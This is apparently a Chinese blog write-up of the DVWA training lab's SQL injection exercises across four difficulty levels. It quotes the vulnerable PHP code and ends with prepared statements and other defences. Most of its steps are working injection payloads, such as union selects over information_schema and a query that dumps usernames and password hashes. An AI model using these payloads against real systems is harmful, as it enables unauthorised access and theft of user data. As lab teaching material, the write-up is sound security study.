DVWA SQL Injection SQL注入全等级分析与实践:
sql注入:
指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,可以通过构造sql语句来实现对数据库的任意操作。
危害:
攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
Low:
查看源码:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
函数:
mysqli_fetch_assoc() // 函数从结果集中取得一行作为关联数组。
源码分析:
对用户的传参没有进行过滤,可以直接拼接sql语句
采用单引号闭合
输入1,能够正常返回用户名和密码
在1后面加上',报错,说明此处存在注入点。
接下来,判断字符型还是数字型,判断方法如下:
在URL的注入点中输入 and 1=1
成功返回
输入 and 1=2,依然成功返回,说明不是数字型,因为返回值没有受到数字的影响
或者可以这样测试是不是数字型
在URL或者表单中输入0 or 1,如果可以查到数据,说明是数字型注入
同样地,依然查不到数据,确定不是数字型
然后是字符型的判断:
如果输入0'or 1#,查到数据说明是字符型注入
可以确定为字符型
猜解 SQL 查询语句中的字段数
继续增加,加到3
报错,说明这个表只有2列,也就是2个字段
确定显示的字段顺序
1 ' union select 1,2#
First name处显示结果位查询结果的第一列的值,surname处显示结果位查询结果第二列的值。
构造联合查询语句查询当前数据库用户和数据库名
' union select user(),database()#
每个MySQL数据库中都有数据库information,和mysql,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information来查询到所有的数据,查询当前数据库所有数据:表:'union select 1,table_name from information_schema.tables where table_schema=database()#;
获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
遇到问题,尝试找方法解决
折腾了一早上,将这个报错百度,看了博客发现是编码问题导致的,然后就是怎么设置数据库编码,又查,要下phpmyadmin来管理,下完了,结果有来报错了
花了很多时间,最后解决办法很简单,所以记录一下,没准可以帮到其他出现类似问题的小伙伴
在这里将版本改为7.3.4就OK了
然后就是修改编码了,看下图:
勾选上更改所有表排序规则
然后还得改一下php.ini中的配置
找到所使用的php版本号所在文件夹,修改php.ini中的allow_url_include为On,错误得到解决(因为我们刚才改了php的版本,相当于需要重新配置DVWA的运行环境)
还是有点问题,然后就单独把两个表也改了编码
终于终于成功了
(真的没想到中间会是这样地一波三折啊)
继续继续
获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
获取表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查询账户的数据
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
Medium:
查看源码:
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
函数:
mysqli_real_escape_string(connection,escapestring); // 函数转义在 SQL 语句中使用的字符串中的特殊字符。
connection // 必需。规定要使用的 MySQL 连接。
escapestring // 必需。要转义的字符串。
源码分析:
由GET类型传参改为POST类型传参,闭合方式不同,依然没有过滤
已经不能输入参数了
任意选一个,提交后抓包:
修改参数:
High:
查看源码:
$id = $_SESSION[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"
源码分析:
从SESSION中获取id的值,使用单引号闭合。因为SESSION获取值的特点,不能直接在当前页面注入
新增了LIMIT 1,只提供了1个参数,它的意思是:表示返回最大的记录行数目为1
和medium一样使用bp抓包修改参数:
forward后再抓包
or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
Impossible:
查看源码:
// Anti-CSRF token 防御 CSRF 攻击
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$id = $_GET[ 'id' ];
// 检测是否是数字类型
if(is_numeric( $id )) {
// 预编译
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
Impossible级别的代码采用了PDO技术
至于PDO技术为什么可以有效解决sql注入,大家可以看看这个博客
https://www.cnblogs.com/alazalazalaz/p/6056393.html
SQL Injection SQL防护总结:
对参数进行预编译
使用正则表达式过滤传入的参数
字符串过滤,转义